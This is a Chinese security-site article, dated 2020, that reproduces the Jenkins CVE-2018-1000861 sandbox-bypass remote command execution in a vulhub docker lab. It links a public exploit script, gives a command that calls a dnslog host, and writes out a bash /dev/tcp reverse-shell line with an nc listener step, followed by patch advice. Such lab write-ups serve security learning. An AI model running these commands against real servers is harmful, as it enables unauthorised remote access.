freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Jenkins远程命令执行漏洞
2020-12-23 20:10:08

0x00简介

Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测试阶段,更早的发现问题,这样解决问题的成本就会显著下降:持续集成缩短了从开发、集成、测试、部署各个环节的时间,从而也就缩短了中间出现的等待时间;持续集成也意味着开发、集成、测试、部署得以持续。

0x01漏洞概述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x02影响范围

2.153 and earlier

LTS 2.138.3 and earlier

0x03环境搭建

1. 本次实验靶场使用vulhub中docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

2. 然后在虚拟机中安装docker,以及安装docker-compose命令,安装方法请自行百度

3. 下载完成后传入安装了虚拟机,然后进入相关漏洞目录

cd vulhub-master/jenkins/CVE-2018-1000861/



4.使用docker-compose up -d运行漏洞环境


5. 环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins


0x04漏洞复现

1. 使用一下命令查看目标的版本

curl -s -I http://your-ip:8080|grep X-Jenkins


2.由于此漏洞是没有回显的,这里使用GitHub上漏exp执行命令。注:也可使用burp抓包执行

exp下载地址:https://github.com/orangetw/awesome-jenkins-rce-2019

下载完成后使用python2执行检查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”



3.由于此漏洞没有回显,这里直接反弹shell //注:反弹shell需要base64加密

bash -i >& /dev/tcp/your-ip/port 0>&1

base64加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html


3.1然后在nc上监听shell的ip和端口,使用exp发送加密后的shell



小结

1. 本次漏洞复现需要使用到docker环境,需要会用docker基本命令

2. 需要使用到linux相关的命令,以及linux反弹shell的语法

0x05修复建议

1.升级到最新版本或打上相关补丁

2.尽量不要开放到公网上

3.限制IP访问

# 远程命令执行 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者